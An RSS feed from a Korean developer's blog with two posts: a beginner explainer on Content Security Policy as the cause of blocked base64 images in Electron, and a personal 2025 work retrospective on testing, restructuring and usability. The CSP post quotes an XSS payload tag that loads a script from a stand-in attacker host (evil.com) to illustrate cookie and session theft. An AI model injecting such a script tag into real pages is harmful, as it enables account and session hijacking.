<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>songyeonji.log</title>
        <link>https://velog.io/</link>
        <description>프론트엔드 개발쟈!!</description>
        <lastBuildDate>Thu, 02 Apr 2026 14:08:36 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>songyeonji.log</title>
            <url>https://velog.velcdn.com/images/songyeonji_/profile/f0b0dff9-7e9d-45ad-b4f3-c69087c71468/social_profile.jpeg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. songyeonji.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/songyeonji_" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[화면에서 이미지가 안 보인다면?]]></title>
            <link>https://velog.io/@songyeonji_/%ED%99%94%EB%A9%B4%EC%97%90%EC%84%9C-%EC%9D%B4%EB%AF%B8%EC%A7%80%EA%B0%80-%EC%95%88-%EB%B3%B4%EC%9D%B8%EB%8B%A4%EB%A9%B4</link>
            <guid>https://velog.io/@songyeonji_/%ED%99%94%EB%A9%B4%EC%97%90%EC%84%9C-%EC%9D%B4%EB%AF%B8%EC%A7%80%EA%B0%80-%EC%95%88-%EB%B3%B4%EC%9D%B8%EB%8B%A4%EB%A9%B4</guid>
            <pubDate>Thu, 02 Apr 2026 14:08:36 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/0253bb5f-6afe-4ba2-b304-48086ae70c4a/image.png" alt=""></p>
<h2 id="범인은-경로가-아니라-cspcontent-security-policy-입니다">범인은 경로가 아니라 <strong>CSP(Content Security Policy)</strong> 입니다</h2>
<p> 개발을 하다 보면 한 번쯤 이런 상황을 겪으셨을 겁니다.</p>
<blockquote>
<p>“파일도 있고, 경로도 맞는데 왜 이미지가 안 나오지…?”</p>
</blockquote>
<p>분명히 <code>dist-electron</code> 안에 파일도 있고,</p>
<p>상대 경로도 맞는데…</p>
<p>이미지가 안 보입니다.</p>
<p>이럴 때 대부분 이렇게 생각합니다.</p>
<pre><code>1. 경로 문제인가?
2. 빌드 문제인가?
3. asar 문제인가?</code></pre><p>그런데 의외로 진짜 원인은 따로 있습니다.</p>
<p>👉 <strong>CSP(Content Security Policy)</strong></p>
<p>오늘은 이 CSP가 무엇인지,</p>
<p>그리고 왜 Electron에서 자주 문제를 일으키는지</p>
<p>재밌고 쉽게 정리해보겠습니다.</p>
<hr>
<h1 id="csp-한-줄-정리">CSP 한 줄 정리</h1>
<blockquote>
<p><strong>“이 페이지에서 어떤 것만 실행해도 되는지 미리 정해두는 보안 규칙”</strong></p>
</blockquote>
<hr>
<h1 id="1-왜-이런-게-필요할까요">1. 왜 이런 게 필요할까요?</h1>
<p>웹에는 아주 유명한 공격이 하나 있습니다.</p>
<h2 id="xss-스크립트-삽입-공격">XSS (스크립트 삽입 공격)</h2>
<p>예를 들어 어떤 입력창에 이런 코드가 들어왔다고 가정해보겠습니다.</p>
<pre><code>&lt;scriptsrc=&quot;https://evil.com/hack.js&quot;&gt;&lt;/script&gt;</code></pre><p>CSP가 없다면 브라우저는 이렇게 생각합니다.</p>
<pre><code>오 스크립트네?
→ 실행</code></pre><p>결과는…?</p>
<ul>
<li>쿠키 탈취</li>
<li>세션 탈취</li>
<li>계정 해킹</li>
</ul>
<hr>
<h2 id="csp가-있으면">CSP가 있으면?</h2>
<pre><code>script-src &#39;self&#39;</code></pre><p>브라우저 판단:</p>
<table>
<thead>
<tr>
<th>검사</th>
<th>결과</th>
</tr>
</thead>
<tbody><tr>
<td>evil.com</td>
<td>우리 사이트 아님</td>
</tr>
<tr>
<td>허용 목록</td>
<td>없음</td>
</tr>
<tr>
<td>결과</td>
<td>❌ 차단</td>
</tr>
</tbody></table>
<p>👉 즉, <strong>허용된 것만 실행됩니다</strong></p>
<hr>
<h1 id="2-csp의-핵심-개념-이거-하나면-끝입니다">2. CSP의 핵심 개념 (이거 하나면 끝입니다)</h1>
<pre><code>CSP = 허용된 것만 된다</code></pre><hr>
<h1 id="3-csp는-어떻게-생겼을까요">3. CSP는 어떻게 생겼을까요?</h1>
<p>보통 HTML에 이렇게 들어갑니다.</p>
<pre><code>&lt;metahttp-equiv=&quot;Content-Security-Policy&quot;
content=&quot;default-src &#39;self&#39;&quot;&gt;</code></pre><p>이걸 해석하면</p>
<pre><code>&quot;우리 것만 써&quot;</code></pre><p>입니다.</p>
<hr>
<h1 id="4-주요-규칙-구조">4. 주요 규칙 구조</h1>
<p>CSP는 리소스별로 따로 설정할 수 있습니다.</p>
<table>
<thead>
<tr>
<th>규칙</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td>default-src</td>
<td>기본 규칙</td>
</tr>
<tr>
<td>script-src</td>
<td>JavaScript</td>
</tr>
<tr>
<td>img-src</td>
<td>이미지</td>
</tr>
<tr>
<td>style-src</td>
<td>CSS</td>
</tr>
<tr>
<td>connect-src</td>
<td>API / WebSocket</td>
</tr>
<tr>
<td>font-src</td>
<td>폰트</td>
</tr>
</tbody></table>
<hr>
<h1 id="5-허용-값-종류">5. 허용 값 종류</h1>
<table>
<thead>
<tr>
<th>값</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td>&#39;self&#39;</td>
<td>현재 앱</td>
</tr>
<tr>
<td>data:</td>
<td>base64 허용</td>
</tr>
<tr>
<td>https:</td>
<td>https 전체</td>
</tr>
<tr>
<td>&#39;none&#39;</td>
<td>전부 차단</td>
</tr>
<tr>
<td>&#39;unsafe-inline&#39;</td>
<td>inline 허용 (위험)</td>
</tr>
<tr>
<td>&#39;unsafe-eval&#39;</td>
<td>eval 허용 (위험)</td>
</tr>
</tbody></table>
<hr>
<h1 id="6-그럼-왜-내-이미지가-안-나왔을까요">6. 그럼 왜 내 이미지가 안 나왔을까요?</h1>
<p>여기서 핵심입니다.</p>
<h2 id="현재-상황">현재 상황</h2>
<pre><code>&lt;metacontent=&quot;default-src &#39;self&#39;&quot;&gt;</code></pre><p>그리고 코드</p>
<pre><code>&lt;imgsrc=&quot;data:image/png;base64,...&quot;/&gt;</code></pre><hr>
<h2 id="브라우저-내부-판단-과정">브라우저 내부 판단 과정</h2>
<table>
<thead>
<tr>
<th>단계</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>img-src 없음</td>
</tr>
<tr>
<td>2</td>
<td>default-src 사용</td>
</tr>
<tr>
<td>3</td>
<td>default-src = &#39;self&#39;</td>
</tr>
<tr>
<td>4</td>
<td>data:는 self 아님</td>
</tr>
<tr>
<td>5</td>
<td>❌ 차단</td>
</tr>
</tbody></table>
<hr>
<h2 id="콘솔-에러">콘솔 에러</h2>
<pre><code>Refused to load image because it violates CSP</code></pre><hr>
<h1 id="7-해결-방법">7. 해결 방법</h1>
<p>딱 한 줄입니다.</p>
<pre><code>img-src &#39;self&#39; data:</code></pre><hr>
<h2 id="수정-후">수정 후</h2>
<pre><code>&lt;metahttp-equiv=&quot;Content-Security-Policy&quot;
content=&quot;default-src &#39;self&#39;; img-src &#39;self&#39; data:;&quot;&gt;</code></pre><hr>
<h2 id="의미">의미</h2>
<table>
<thead>
<tr>
<th>규칙</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td>default-src &#39;self&#39;</td>
<td>기본은 우리 것만</td>
</tr>
<tr>
<td>img-src &#39;self&#39; data:</td>
<td>이미지에 한해 base64 허용</td>
</tr>
</tbody></table>
<p>👉 <strong>보안은 유지하면서 문제만 해결됩니다</strong></p>
<hr>
<h1 id="8-electron에서-특히-자주-터지는-이유">8. Electron에서 특히 자주 터지는 이유</h1>
<p>Electron은 그냥 앱처럼 보이지만 내부는 이겁니다.</p>
<pre><code>Chromium 브라우저</code></pre><p>그래서 CSP가 그대로 적용됩니다.</p>
<hr>
<h2 id="자주-터지는-상황">자주 터지는 상황</h2>
<table>
<thead>
<tr>
<th>상황</th>
<th>문제</th>
</tr>
</thead>
<tbody><tr>
<td>base64 이미지</td>
<td>❌ 차단</td>
</tr>
<tr>
<td>CDN 사용</td>
<td>❌ 차단</td>
</tr>
<tr>
<td>WebSocket</td>
<td>❌ 차단</td>
</tr>
<tr>
<td>inline script</td>
<td>❌ 차단</td>
</tr>
</tbody></table>
<hr>
<h1 id="9-개발하면서-가장-많이-하는-착각">9. 개발하면서 가장 많이 하는 착각</h1>
<table>
<thead>
<tr>
<th>착각</th>
<th>실제</th>
</tr>
</thead>
<tbody><tr>
<td>경로 문제 같다</td>
<td>❌ CSP 문제</td>
</tr>
<tr>
<td>파일 없나?</td>
<td>❌ 있음</td>
</tr>
<tr>
<td>Electron이라 괜찮겠지</td>
<td>❌ 동일하게 적용됨</td>
</tr>
</tbody></table>
<hr>
<h1 id="10-개발자-현실-한-줄-요약">10. 개발자 현실 한 줄 요약</h1>
<pre><code>&quot;경로 문제인 줄 알았는데 CSP였다&quot;</code></pre><hr>
<h1 id="⚠️-헷갈리지-마세요-csp-2가지">⚠️ 헷갈리지 마세요 (CSP 2가지)</h1>
<p>여기까지 읽으면서</p>
<p>혹시 이런 생각 드신 분 있을 수 있습니다.</p>
<blockquote>
<p>“CSP? AWS 같은 그 CSP 말하는 건가?”</p>
</blockquote>
<p>👉 아닙니다.</p>
<p><strong>지금 이 글에서 말하는 CSP는 클라우드가 아니라 ‘보안 정책’입니다.</strong></p>
<hr>
<h2 id="이-글에서의-csp">이 글에서의 CSP</h2>
<blockquote>
<p>🔐 <strong>Content Security Policy</strong></p>
</blockquote>
<pre><code>default-src &#39;self&#39;;
img-src &#39;self&#39; data:;</code></pre><p>👉 브라우저(Electron 포함)가</p>
<p><strong>어떤 리소스를 실행할 수 있는지 제한하는 보안 규칙</strong></p>
<hr>
<h2 id="그런데-또-하나의-csp가-있다">그런데 또 하나의 CSP가 있다</h2>
<p>개발하다 보면 또 다른 CSP를 보게 됩니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/df46b4ff-5774-4a4c-a1e3-34798ced924b/image.png" alt=""></p>
<blockquote>
<p> <strong>Cloud Service Provider</strong></p>
</blockquote>
<ul>
<li>AWS</li>
<li>Azure</li>
<li>GCP</li>
</ul>
<p>👉 서버, DB, 인프라 제공하는 클라우드 서비스</p>
<hr>
<h2 id="핵심-차이">핵심 차이</h2>
<table>
<thead>
<tr>
<th>구분</th>
<th>Content Security Policy</th>
<th>Cloud Service Provider</th>
</tr>
</thead>
<tbody><tr>
<td>의미</td>
<td>보안 정책</td>
<td>클라우드</td>
</tr>
<tr>
<td>위치</td>
<td>브라우저 / Electron</td>
<td>서버 / 인프라</td>
</tr>
<tr>
<td>키워드</td>
<td>img-src, script-src</td>
<td>AWS, Azure</td>
</tr>
</tbody></table>
<hr>
<h1 id="마무리">마무리</h1>
<p>CSP는 처음엔 굉장히 까다롭게 느껴집니다.</p>
<p>하지만 한 번 이해하면</p>
<p>👉 <strong>보안을 유지하면서 원하는 것만 허용할 수 있는 강력한 도구</strong>가 됩니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[뒤늦은 2025년 하반기 회고록,,,]]></title>
            <link>https://velog.io/@songyeonji_/%EB%92%A4%EB%8A%A6%EC%9D%80-2025%EB%85%84-%ED%95%98%EB%B0%98%EA%B8%B0-%ED%9A%8C%EA%B3%A0%EB%A1%9D</link>
            <guid>https://velog.io/@songyeonji_/%EB%92%A4%EB%8A%A6%EC%9D%80-2025%EB%85%84-%ED%95%98%EB%B0%98%EA%B8%B0-%ED%9A%8C%EA%B3%A0%EB%A1%9D</guid>
            <pubDate>Sun, 18 Jan 2026 13:09:21 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/97d345e5-8538-4d7b-9669-165773e5870d/image.png" alt="">
안녕하세요, 프론트엔드 개발자 송연지입니다.</p>
<p>…네, 하반기 회고도 또 늦었습니다. 하하 😇
상반기 쓸 때만 해도 “이번엔 제때 써야지!” 했는데
역시나 현실은 늘 예상보다 빠르고, 저는 늘 예상보다 바빴습니다.</p>
<p>2025년 하반기도 마찬가지로,,,
솔직히 말하면 너무 정신없어서
시간이 어떻게 지나갔는지도 잘 기억이 안 날 정도였어요.</p>
<blockquote>
<p>지난 상반기 회고록을 보실 분들은 여기루 ㅎㅎ
<a href="https://velog.io/@songyeonji_/2025-%EC%83%81%EB%B0%98%EA%B8%B0-%ED%9A%8C%EA%B3%A0%EB%A1%9D">상반기 회고록 보기</a></p>
</blockquote>
<p>근데 신기하게도,
막상 돌아보려고 하니까
머릿속에 제일 먼저 떠오른 단어는 이거였습니다.</p>
<p>테스트. 사용자. 구조. 그리고 책임.</p>
<p>상반기가 ‘처음’을 많이 겪은 시기였다면,
하반기는 그 처음들의 결과를
끝까지 책임지면서 진짜로 부딪힌 시간이었어요.</p>
<p>코드는 잘 짰다고 생각했는데 무너졌고,
설계는 괜찮다고 믿었는데 사용자 앞에서 깨졌고,
문서는 미뤄둔 만큼 되돌아와서 저를 괴롭혔습니다.</p>
<p>그리고 저는 그 모든 걸
배포하고, 고치고, 다시 확인하고, 또 배포하는 반복 속에서
조금 더 단단해졌던 것 같아요.</p>
<p>웃으면서 시작했지만
내용은 전혀 웃을 수 없었던(?)
2025년 하반기 이야기를 이제 하나씩 꺼내보려고 합니다.</p>
<p>그럼, 본격적으로 시작해볼게요.</p>
<h2 id="🧨-7월--통합-테스트를-시작한-순간-평화도-같이-종료되었다">🧨 7월 — 통합 테스트를 시작한 순간, 평화도 같이 종료되었다</h2>
<p>7월은 제가 <strong>단위 테스트를 했다는 사실에 괜히 뿌듯해하던 나 자신을
가장 세게 반성한 달</strong>이었습니다.</p>
<p>5월에 단위 테스트를 도입했을 때는 솔직히 이런 마음이었어요.</p>
<blockquote>
<p>“이 정도면 꽤 단단하지 않나?”</p>
<p>“적어도 큰 건 다 잡았겠지?”</p>
</blockquote>
<p>지금 와서 말하자면,</p>
<p><strong>그건 정말 순진한 착각이었습니다.</strong></p>
<h3 id="단위-테스트와-통합-테스트는-전혀-다른-이야기였다">단위 테스트와 통합 테스트는 전혀 다른 이야기였다</h3>
<p>7월에 본격적으로 <strong>통합 테스트 시나리오를 작성하고, 실제로 테스트를 돌리기 시작</strong>했어요.</p>
<p>그리고 거의 바로 깨달았습니다.</p>
<blockquote>
<p>“아… 이건 단위 테스트랑 차원이 다르네.”</p>
</blockquote>
<p>단위 테스트는</p>
<ul>
<li>함수가 잘 도는지</li>
<li>API 응답을 잘 처리하는지</li>
<li>특정 조건에서 에러가 나는지</li>
</ul>
<p>를 보는 <strong>개발자 중심의 테스트</strong>였다면,</p>
<p>통합 테스트는</p>
<ul>
<li>사용자가 처음 이 화면을 봤을 때 뭘 할지</li>
<li>어떤 버튼을 누를지</li>
<li>실수했을 때 어디서 막히는지</li>
</ul>
<p>를 전부 보는 <strong>사람 중심의 테스트</strong>였어요.</p>
<p>그리고 이 ‘사람’은 <strong>개발자가 아니었습니다.</strong></p>
<h3 id="개발자가-쓴-통합-테스트-시나리오의-문제">개발자가 쓴 통합 테스트 시나리오의 문제</h3>
<p>처음엔 당연하게도 통합 테스트 시나리오를 <strong>개발자들이 직접 작성</strong>했어요.</p>
<p>결과요?</p>
<ul>
<li>내부 상태를 이미 알고 있다는 전제</li>
<li>“정상 케이스 기준”의 흐름</li>
<li>전문 용어가 자연스럽게 섞인 문장들</li>
</ul>
<p>딱 보자마자 이런 생각이 들었습니다.</p>
<blockquote>
<p>“이거… 개발 안 한 사람은 못 하겠는데?”</p>
</blockquote>
<p>통합 테스트는 <strong>개발을 전혀 모르는 사람도
문서만 보고 그대로 따라 하면 테스트가 가능해야</strong> 했어요.
<img src="https://velog.velcdn.com/images/songyeonji_/post/91faba4d-6b3f-4251-b18d-5e732941a6e5/image.png" alt=""></p>
<ul>
<li>여기서 뭘 클릭해야 하는지</li>
<li>이 화면이 뜨는 게 정상인지</li>
<li>잘못했을 땐 어떤 메시지가 보여야 하는지</li>
</ul>
<p>모든 걸 <strong>‘사용자 언어’로 다시 써야 했습니다.</strong></p>
<p>이 과정에서 처음 느꼈어요.</p>
<blockquote>
<p>“사용자 입장에서 쓴다는 게</p>
<p>이렇게까지 어려운 일이었구나.”</p>
</blockquote>
<h3 id="그리고-버그가-미친-듯이-튀어나오기-시작했다">그리고… 버그가 미친 듯이 튀어나오기 시작했다</h3>
<p>통합 테스트를 본격적으로 돌리자, 그동안 잠잠하던 시스템이</p>
<p><strong>마치 기다렸다는 듯이 무너지기 시작</strong>했습니다.</p>
<ul>
<li>단위 테스트에선 한 번도 안 났던 버그</li>
<li>특정 순서에서만 터지는 문제</li>
<li>상태가 살짝만 어긋나도 바로 깨지는 흐름</li>
</ul>
<p>그제야 깨달았어요.</p>
<blockquote>
<p>“단위 테스트 때 수월했던 게 아니라,</p>
<p>그냥 그때는 안 보였던 거였구나.”</p>
</blockquote>
<p>7월의 제 하루는 거의 이랬습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/51b92e86-07ab-425c-bf4a-f568a453e0e2/image.png" alt=""></p>
<blockquote>
<p>배포한다</p>
<p>테스트한다</p>
<p>어, 또 터진다</p>
<p>고친다</p>
<p>다시 배포한다</p>
<p>다시 테스트한다</p>
</blockquote>
<p>그리고 이 루틴을</p>
<p><strong>하루에도 몇 번씩 반복</strong>했습니다.</p>
<p>퇴근하고 나면 아무것도 하고 싶지 않았고,</p>
<p>“오늘은 뭘 배웠지?”보다는</p>
<blockquote>
</blockquote>
<p>“오늘은 그래도 큰 사고는 없었다.”</p>
<p>이 문장으로 하루를 정리하던 날들이었어요.</p>
<h3 id="배포테스트배포테스트-그리고-지연의-시작">배포–테스트–배포–테스트, 그리고 지연의 시작</h3>
<p>이 반복이 계속되다 보니 자연스럽게 일정이 밀리기 시작했습니다.</p>
<p>처음엔 “오늘만 좀 더 보자”였고,</p>
<p>그 다음엔 “이번 주까지만 마무리하자”였고,</p>
<p>어느새 <strong>지연이 지연을 낳는 구조</strong>가 되어버렸어요.</p>
<p>이때 처음으로 통합 테스트의 진짜 무서움을 느꼈습니다.</p>
<blockquote>
<p>통합 테스트는
문제를 ‘만들어내는’ 테스트가 아니라
문제를 ‘숨길 수 없게 만드는’ 테스트구나.</p>
</blockquote>
<p>그리고 이 여파는 7월로 끝나지 않았습니다.</p>
<p>이 통합 테스트의 후폭풍은 <strong>8월까지 고스란히 이어지게 됩니다.</strong></p>
<h2 id="🧩-8월--통합-테스트의-후폭풍-그리고-이건-코드-문제가-아니었다">🧩 8월 — 통합 테스트의 후폭풍, 그리고 “이건 코드 문제가 아니었다”</h2>
<p>7월이 통합 테스트의 시작이었다면,</p>
<p>8월은그 테스트가 남긴 <strong>후폭풍을 전부 떠안은 달</strong>이었습니다.</p>
<p>7월 말쯤에는 이런 희망 섞인 생각을 했어요.</p>
<blockquote>
<p>“그래도 큰 건 다 나왔겠지…?”</p>
<p>“이제 좀 안정되겠지…?”</p>
</blockquote>
<p>네.</p>
<p>역시나 틀렸습니다.</p>
<h3 id="통합-테스트는-끝났지만-문제는-이제-시작이었다">통합 테스트는 끝났지만, 문제는 이제 시작이었다</h3>
<p>8월이 되자 통합 테스트에서 발견된 문제들이</p>
<p>하나씩 정리되는 게 아니라,</p>
<p><strong>서로 엮이기 시작했습니다.</strong></p>
<ul>
<li>이 버그를 고치면 저쪽이 깨지고</li>
<li>이 흐름을 맞추면 다른 시나리오가 어긋나고</li>
<li>한 화면을 고치면 전체 동작이 미묘하게 변하고</li>
</ul>
<p>이쯤 되니 머릿속에 계속 맴돌던 생각이 하나 있었어요.</p>
<blockquote>
<p>“이거… 뭔가 이상한데?”</p>
</blockquote>
<h3 id="코드가-아니라-구조가-문제라는-걸-깨닫다">코드가 아니라, 구조가 문제라는 걸 깨닫다</h3>
<p>처음엔 당연히</p>
<p> “로직을 더 꼼꼼히 보자” , “예외 처리를 추가하자”</p>
<p>이렇게 접근했습니다.</p>
<p>근데 아무리 봐도 문제는 <strong>코드 몇 줄</strong>이 아니었어요.</p>
<p>그때 처음으로 명확하게 느꼈습니다.</p>
<blockquote>
<p>“이건 구조 문제다.”</p>
</blockquote>
<ul>
<li>흐름이 한눈에 안 보이고</li>
<li>상태가 여기저기 흩어져 있고</li>
<li>책임이 애매하게 나뉘어 있고</li>
<li>테스트 기준도 흔들리고 있고</li>
</ul>
<p>결국</p>
<p>“왜 이런 문제가 반복되지?”라는 질문의 답은</p>
<blockquote>
<p>“전체 구조를 제대로 그린 적이 없어서”</p>
<p>였습니다.</p>
</blockquote>
<h3 id="결국-시퀀스-다이어그램을-꺼내-들었다">결국 시퀀스 다이어그램을 꺼내 들었다</h3>
<p>사실 시퀀스 다이어그램은 <strong>원래 문서 설계 단계에서 했어야 하는 작업</strong>이었어요.</p>
<p>하지만 우리는 늘 그렇듯,</p>
<ul>
<li>“일단 개발부터”</li>
<li>“시간 없으니까 나중에”</li>
<li>“지금은 돌아가잖아”</li>
</ul>
<p>이런 이유로 미뤄두고 있었죠.</p>
<p>그리고 8월이 되어서야 그 ‘나중에’가 찾아왔습니다.</p>
<p>시퀀스를 그리기 시작하자 비로소 보이기 시작했어요.</p>
<ul>
<li>이 요청이 왜 여기로 가는지</li>
<li>이 상태가 왜 여기서 바뀌는지</li>
<li>이 타이밍에 이 로직이 왜 호출되는지</li>
</ul>
<p>그리고 동시에 이런 생각도 들었습니다.
<img src="https://velog.velcdn.com/images/songyeonji_/post/87fe74b8-4fbd-4e99-af05-35ab182b075a/image.png" alt=""></p>
<blockquote>
<p>“아… 이걸 처음에 했으면</p>
<p>덜 고생했겠구나.”</p>
</blockquote>
<h3 id="구조-변경이라는-지옥문이-열리다">구조 변경이라는 지옥문이 열리다</h3>
<p>시퀀스를 정리하고 나니</p>
<p>선택지는 딱 두 개였습니다.</p>
<ol>
<li><p>지금 구조를 유지한 채 계속 땜질하면서 버틴다</p>
</li>
<li><p>지금 아프더라도 구조를 다시 잡는다</p>
</li>
</ol>
<p>결국 선택한 건 <strong>두 번째</strong>였습니다.</p>
<p>그리고 솔직히 말해서요.</p>
<p><strong>구조 변경은 정말 미친 경험이었습니다.</strong></p>
<ul>
<li>어디까지 고쳐야 하는지 감이 안 오고</li>
<li>하나 고치면 다 고친 것 같고</li>
<li>근데 또 하나 안 고치면 전체가 흔들리고</li>
</ul>
<p>이때는 진짜로</p>
<blockquote>
<p>“다시는 구조 변경 안 하고 싶다…”</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/d169f9be-c562-45c4-8ec1-3a39ff1052eb/image.png" alt="">
라는 말이 입 밖으로 몇 번이나 나왔어요.</p>
<hr>
<h3 id="문서를-미룬-대가를-몸으로-치르다">문서를 미룬 대가를 몸으로 치르다</h3>
<p>8월의 가장 큰 교훈은 기술적인 것보다 이거였습니다.</p>
<blockquote>
<p>“문서는 귀찮아서 미루는 게 아니라,
나중에 나를 살리기 위해 쓰는 거다.”</p>
</blockquote>
<p>문서를 제대로 정리하지 않은 상태에서의 개발은</p>
<ul>
<li>기억에 의존하고</li>
<li>감에 의존하고</li>
<li>“아마 이랬던 것 같아”로 움직이는 개발</li>
</ul>
<p>이게 얼마나 위험한지 8월에 제대로 배웠습니다.</p>
<p>이때부터는 코드를 고치기 전에</p>
<ul>
<li>흐름을 적고</li>
<li>조건을 정리하고</li>
<li>상태 변화를 글로 써보고</li>
</ul>
<p>그 다음에야</p>
<p>코드를 손대기 시작했어요.</p>
<h3 id="8월의-체감-난이도는-멘탈">8월의 체감 난이도는 ‘멘탈’</h3>
<p>7월이 체력 싸움이었다면, 8월은 <strong>멘탈 싸움</strong>이었습니다.</p>
<blockquote>
<p>“이게 맞나?”
“지금 방향이 맞는 걸까?”
“괜히 더 망치고 있는 건 아닐까?”</p>
</blockquote>
<p>이런 생각이 하루에도 몇 번씩 들었어요.</p>
<p>근데 아이러니하게도 그 와중에 느낀 게 하나 있었습니다.</p>
<blockquote>
<p>“아… 나 지금</p>
<p>진짜 실무 개발하고 있구나.”</p>
</blockquote>
<p>편한 선택이 아니라 <strong>맞는 선택을 하려고 고민하는 시간</strong>이었으니까요.</p>
<p>8월을 지나고 나서</p>
<p>제 개발 태도는 확실히 바뀌었습니다.</p>
<ul>
<li><p>“일단 고치자”보다 ** “왜 이렇게 됐지?”** 를 먼저 묻게 됐고</p>
</li>
<li><p>코드보다 <strong>흐름을</strong> 먼저 보게 됐고</p>
</li>
<li><p>문서를 귀찮은 게 아니라 <strong>필수 장비</strong>로 보게 됐어요.</p>
</li>
</ul>
<p>그리고 무엇보다,</p>
<blockquote>
<p>“통합 테스트는 끝이 아니라,
진짜 개발의 시작이다.”</p>
</blockquote>
<p>라는 걸 이 달에 확실히 배웠습니다.</p>
<h2 id="🧯-9월--사용자성이라는-벽-그리고-우리는-아무것도-몰랐다">🧯 9월 — 사용자성이라는 벽, 그리고 “우리는 아무것도 몰랐다”</h2>
<p>9월은 제가 개발자로 일하면서</p>
<p><strong>가장 큰 충격을 받은 달</strong>이었습니다.</p>
<p>7–8월이 테스트와 구조의 지옥이었다면,</p>
<p>9월은 그 모든 걸 통과한 뒤에 만난</p>
<p><strong>현실 사용자라는 보스 스테이지</strong>였어요.</p>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/7b5f712d-e028-4250-b8ea-5e3b791f5e65/image.png" alt=""></p>
<h3 id="시험성적서와-납품-그리고-동시에-시작된-사용자성-개발">시험성적서와 납품, 그리고 동시에 시작된 사용자성 개발</h3>
<p>9월에 들어서자</p>
<p>일정표에 새로운 단어가 추가됐습니다.</p>
<p><strong>시험성적서.
그리고 납품.</strong></p>
<p>이 두 단어가 등장한 순간, 개발의 기준이 완전히 바뀌었어요.</p>
<p>이전까진 “기능이 된다”가 기준이었다면,</p>
<p>이제는</p>
<ul>
<li>이걸 처음 보는 사람이 이해할 수 있는가</li>
<li>실수했을 때 당황하지 않는가</li>
<li>다시 시도할 수 있는가</li>
</ul>
<p>이 질문들이 모든 기능 위에 올라탔습니다.</p>
<h3 id="개발자들끼리는-다-알잖아요">“개발자들끼리는 다 알잖아요?”</h3>
<p>솔직히 말하면 저희는 이런 착각을 하고 있었어요.</p>
<blockquote>
<p>“이 정도면 설명 안 해도 알겠지.”</p>
<p>“이건 개발자면 바로 이해하지 않나?”</p>
</blockquote>
<p>근데 사용자 테스트를 돌리는 순간 그 착각은 바로 깨졌습니다.</p>
<p>사용자들은</p>
<ul>
<li>어디서 시작해야 하는지 모르고</li>
<li>다음 단계가 뭔지 모르고</li>
<li>잘못 눌렀는지조차 몰랐어요</li>
</ul>
<p>그걸 보면서 진짜로 멍해졌습니다.</p>
<blockquote>
<p>“어… 이게 그렇게 어려워?”</p>
</blockquote>
<h3 id="사용자성은-조금-다듬는-문제가-아니었다">사용자성은 ‘조금 다듬는 문제’가 아니었다</h3>
<p>처음엔 라벨을 바꾸고, 툴팁을 달고,</p>
<p>설명을 한 줄 추가하면 될 줄 알았어요.</p>
<p>근데 아니었습니다.</p>
<p><strong>문제는 훨씬 깊었습니다.</strong></p>
<ul>
<li>시작 지점이 모호했고</li>
<li>중간 단계가 많았고</li>
<li>실패했을 때의 길이 없었어요</li>
</ul>
<p>그래서 결국 <strong>프로세스를 다시 만들기 시작</strong>했습니다.</p>
<p>한 번 만들고</p>
<p>돌려보고</p>
<p>다시 부수고</p>
<p>또 만들고…</p>
<p>이걸 거의</p>
<p><strong>10번 가까이 반복</strong>했습니다ㅜㅜㅜㅜ</p>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/8eda346a-5a39-4b2b-9dcc-01ecf63c5018/image.png" alt=""></p>
<hr>
<h3 id="개발자에게-당연한-흐름은-사용자에게-공포였다">개발자에게 당연한 흐름은, 사용자에게 공포였다</h3>
<p>9월에 가장 충격이었던 건 이거였어요.</p>
<p>개발자 기준으로는 “자연스러운 흐름”이,</p>
<p>사용자 기준에서는 <strong>“이거 잘못하면 큰일 나는 거 아냐?”</strong> 로 느껴진다는 사실. </p>
<p>보안 제품이라는 특성까지 겹치니</p>
<p>사용자 입장에서는</p>
<ul>
<li>한 번의 실수가</li>
<li>시스템 전체에 영향을 줄 것처럼 느껴졌고</li>
<li>그래서 더 아무것도 못 하게 되더라구요</li>
</ul>
<p>그때 처음으로 이해했습니다.</p>
<blockquote>
<p>사용자성은 편의성이 아니라,
심리적 안전감이다.</p>
</blockquote>
<h3 id="구현보다-어려웠던-것-안심시키는-설계">구현보다 어려웠던 것: ‘안심시키는 설계’</h3>
<p>이 시점에서</p>
<p>개발보다 더 어려웠던 건</p>
<ul>
<li>어디까지 막아야 할지</li>
<li>어디까지 자유를 줄지</li>
<li>어디서 “괜찮아요”라고 말해줘야 할지</li>
</ul>
<p>이 판단들이었습니다.</p>
<p>그래서 9월엔</p>
<ul>
<li>한 단계씩 진행 상황을 보여주고</li>
<li>되돌릴 수 있다는 걸 명확히 하고</li>
<li>잘못된 선택은 미리 막고</li>
</ul>
<p><strong>사용자가 불안해하지 않게 만드는 것</strong>에</p>
<p>집중하게 됐어요.</p>
<h3 id="야근과-주말-출근-그리고-웃픈-현실">야근과 주말 출근, 그리고 웃픈 현실</h3>
<p>이 과정은 시간이 정말 많이 들었습니다.</p>
<p>9월에서 끝날 줄 알았던 작업은 10월까지 이어졌고,</p>
<p>야근은 자연스러워졌고 주말 출근도 생겼어요.</p>
<p>월급날 야근수당과 주말수당이 찍힌 금액을 보고</p>
<p>잠깐이나마 아 이게 내 진짜 월급이면 좋겠다....</p>
<p>라는 생각이 들었다는 겁니다.ㅎㅎ,,,,야근수당 최고,,,</p>
